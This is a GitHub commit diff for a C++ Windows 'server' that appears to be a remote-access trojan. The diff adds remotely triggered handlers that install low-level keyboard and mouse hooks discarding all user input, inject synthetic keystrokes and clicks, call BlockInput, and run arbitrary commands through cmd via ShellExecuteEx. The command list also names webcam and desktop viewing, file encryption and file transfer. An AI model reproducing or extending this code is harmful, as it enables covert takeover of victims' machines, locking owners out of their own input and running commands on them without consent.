Skip to content

Commit

Permalink
Released some functions
Browse files Browse the repository at this point in the history
keyboard on/off, mouse on/off, block input on/off, cmd
  • Loading branch information
MyLibh committed Oct 17, 2018
1 parent 00dce69 commit 36195ac
Show file tree
Hide file tree
Showing 4 changed files with 152 additions and 15 deletions.
1 change: 1 addition & 0 deletions VS17/Server/Server.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -165,6 +165,7 @@
<ClInclude Include="..\..\src\Network\TCPServer.hpp" />
<ClInclude Include="..\..\src\Server\Application.hpp" />
<ClInclude Include="..\..\src\Server\CommandManager.hpp" />
<ClInclude Include="..\..\src\Server\CommandProperties.hpp" />
<ClInclude Include="..\..\src\Server\ScreenCapturer.hpp" />
<ClInclude Include="..\..\src\Server\WebCamCapturer.hpp" />
<ClInclude Include="..\..\src\Service\Debugger.hpp" />
Expand Down
3 changes: 3 additions & 0 deletions VS17/Server/Server.vcxproj.filters
Original file line number Diff line number Diff line change
Expand Up @@ -75,6 +75,9 @@
<ClInclude Include="..\..\src\Network\TCPConnection.hpp">
<Filter>Header Files\Network</Filter>
</ClInclude>
<ClInclude Include="..\..\src\Server\CommandProperties.hpp">
<Filter>Header Files\Commands</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\src\Server\Application.cpp">
Expand Down
142 changes: 134 additions & 8 deletions src/Server/CommandProperties.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -4,10 +4,85 @@

const std::array<CommandProperties, static_cast<size_t>(Commands::NUMBER_OF_COMMANDS)> COMMAND_PROPERTIES
{ {
{ std::make_tuple(Commands::MESSAGEBOX, "message"), _onCmd_MESSAGEBOX },
{ std::make_tuple(Commands::MOUSECTRL, "mouse"), _onCmd_MOUSECTRL }
{ std::make_tuple(Commands::MESSAGEBOX, "message"), _onCmd_MESSAGEBOX },
{ std::make_tuple(Commands::KEYBOARDCTRL_ON, "kbon"), _onCmd_KEYBOARDCTRL_ON },
{ std::make_tuple(Commands::KEYBOARDCTRL_OFF, "kboff"), _onCmd_KEYBOARDCTRL_OFF },
{ std::make_tuple(Commands::MOUSECTRL_ON, "mon"), _onCmd_MOUSECTRL_ON },
{ std::make_tuple(Commands::MOUSECTRL_OFF, "moff"), _onCmd_MOUSECTRL_OFF },
{ std::make_tuple(Commands::EXECUTECMD, "cmd"), _onCmd_EXECUTECMD },
{ std::make_tuple(Commands::BLOCKINPUT_ON, "bion"), _onCmd_BLOCKINPUT_ON },
{ std::make_tuple(Commands::BLOCKINPUT_OFF, "bioff"), _onCmd_BLOCKINPUT_OFF }
} };

namespace detail
{
namespace hooks
{
namespace data
{
static HHOOK mouseHook;
static HHOOK keyboardHook;
}

LRESULT CALLBACK LowLevelMouseProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam)
{
if (nCode == HC_ACTION)
return (-1);

return CallNextHookEx(data::mouseHook, nCode, wParam, lParam);
}

LRESULT CALLBACK LowLevelKeyboardProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam)
{
if (nCode == HC_ACTION)
return (-1);

return CallNextHookEx(data::keyboardHook, nCode, wParam, lParam);
}
} // namespace hooks

namespace emulator
{
constexpr size_t DELAY = 100;

bool SendMouseInput(DWORD button)
{
INPUT input = { INPUT_MOUSE };
input.mi.dwFlags = button;

if (SendInput(1, &input, sizeof(INPUT)) != 1)
return false;

SleepEx(DELAY, FALSE);

input.mi.dwFlags = (button <<= 1);
if (SendInput(1, &input, sizeof(INPUT)) != 1)
return false;

return true;
}

bool SendKeyboardInput(UINT key)
{
INPUT input = { INPUT_KEYBOARD };
input.ki.wScan = MapVirtualKey(key, MAPVK_VK_TO_VSC);
input.ki.wVk = key;

if (SendInput(1, &input, sizeof(INPUT)) != 1)
return false;

SleepEx(DELAY, FALSE);

input.ki.dwFlags = KEYEVENTF_KEYUP;
if (SendInput(1, &input, sizeof(INPUT)) != 1)
return false;

return true;
}
} // namespace emulator
} // namespace detail
#pragma region Functions

bool _onCmd_MESSAGEBOX(const std::vector<std::string> &args)
{
if(args.size() != 1ull)
Expand All @@ -16,14 +91,65 @@ bool _onCmd_MESSAGEBOX(const std::vector<std::string> &args)
return (MessageBoxA(nullptr, args[0].c_str(), "MESSAGE", MB_ICONERROR | MB_OK | MB_SYSTEMMODAL) != 0);
}

bool _onCmd_MOUSECTRL(const std::vector<std::string> &args)
bool _onCmd_KEYBOARDCTRL_ON(const std::vector<std::string> &args)
{
if (args.size() != 1ull)
return false;
if (!detail::hooks::data::keyboardHook)
detail::hooks::data::keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, detail::hooks::LowLevelKeyboardProc, nullptr, 0ul);

if (UINT key{}; sscanf_s(args[0].c_str(), "%u", &key))
return detail::emulator::SendKeyboardInput(key);

int x{},
y{};
sscanf_s(args[0].c_str(), "%d %d", &x, &y);
return true;
}

bool _onCmd_KEYBOARDCTRL_OFF(const std::vector<std::string>&)
{
return UnhookWindowsHookEx(detail::hooks::data::keyboardHook);;
}

bool _onCmd_MOUSECTRL_ON(const std::vector<std::string> &args)
{
if(!detail::hooks::data::mouseHook)
detail::hooks::data::mouseHook = SetWindowsHookEx(WH_MOUSE_LL, detail::hooks::LowLevelMouseProc, nullptr, 0ul);

int x{},
y{};
DWORD button{};
if (sscanf_s(args[0].c_str(), "%d %d %u", &x, &y, &button) == 3 && !detail::emulator::SendMouseInput(button))
return false;

return SetCursorPos(x, y);
}

bool _onCmd_MOUSECTRL_OFF(const std::vector<std::string>&)
{
return UnhookWindowsHookEx(detail::hooks::data::mouseHook);
}

bool _onCmd_EXECUTECMD(const std::vector<std::string> &args)
{
std::string params;
for (auto &&arg : args)
params += arg;

SHELLEXECUTEINFO sei = { sizeof(SHELLEXECUTEINFO) };
sei.fMask = SEE_MASK_ASYNCOK | SEE_MASK_NO_CONSOLE;
sei.lpVerb = TEXT("open");
sei.lpFile = TEXT("cmd");
sei.lpParameters = params.c_str();
sei.nShow = SW_SHOW;

return ShellExecuteEx(&sei);
}

bool _onCmd_BLOCKINPUT_ON(const std::vector<std::string>&)
{
return BlockInput(true);
}

bool _onCmd_BLOCKINPUT_OFF(const std::vector<std::string>&)
{
return BlockInput(false);
}

#pragma endregion
21 changes: 14 additions & 7 deletions src/Server/CommandProperties.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -12,15 +12,19 @@ enum class Commands : size_t
VIEWDESKTOP_STOP,
VIEWWEBCAM_START,
VIEWWEBCAM_STOP,
KEYBOARDCTRL,
MOUSECTRL,
KEYBOARDCTRL_ON,
KEYBOARDCTRL_OFF,
MOUSECTRL_ON,
MOUSECTRL_OFF,
EXECUTECMD,
ENCRYPTFILE,
DECRYPTFILE,
IMPORTFILE,
EXPORTFILE,
BLOCKINPUT,
PLAYSOUND,
BLOCKINPUT_ON,
BLOCKINPUT_OFF,
PLAYSOUND_START,
PLAYSOUND_STOP,

NUMBER_OF_COMMANDS
};
Expand Down Expand Up @@ -55,14 +59,17 @@ void _onCmd_VIEWDESKTOP_START(const std::vector<std::string> &args, const std::b
void _onCmd_VIEWDESKTOP_STOP (const std::vector<std::string> &args, const std::bitset<CIP_NUMBER_OF_BITS> &bitset, size_t pos);
void _onCmd_VIEWWEBCAM_START (const std::vector<std::string> &args, const std::bitset<CIP_NUMBER_OF_BITS> &bitset, size_t pos);
void _onCmd_VIEWWEBCAM_STOP (const std::vector<std::string> &args, const std::bitset<CIP_NUMBER_OF_BITS> &bitset, size_t pos);
void _onCmd_KEYBOARDCTRL (const std::vector<std::string> &args, const std::bitset<CIP_NUMBER_OF_BITS> &bitset, size_t pos);
bool _onCmd_MOUSECTRL (const std::vector<std::string> &args);
bool _onCmd_KEYBOARDCTRL_ON (const std::vector<std::string> &args);
bool _onCmd_KEYBOARDCTRL_OFF (const std::vector<std::string>&);
bool _onCmd_MOUSECTRL_ON (const std::vector<std::string> &args);
bool _onCmd_MOUSECTRL_OFF (const std::vector<std::string>&);
bool _onCmd_EXECUTECMD (const std::vector<std::string> &args);
bool _onCmd_ENCRYPTFILE (const std::vector<std::string> &args);
bool _onCmd_DECRYPTFILE (const std::vector<std::string> &args);
bool _onCmd_IMPORTFILE (const std::vector<std::string> &args);
bool _onCmd_EXPORTFILE (const std::vector<std::string> &args);
bool _onCmd_BLOCKINPUT (const std::vector<std::string> &args);
bool _onCmd_BLOCKINPUT_ON (const std::vector<std::string>&);
bool _onCmd_BLOCKINPUT_OFF (const std::vector<std::string>&);
bool _onCmd_PLAYSOUND (const std::vector<std::string> &args);

#endif /* __COMMANDPROPERTIES_HPP_INCLUDED__ */

0 comments on commit 36195ac

Please sign in to comment.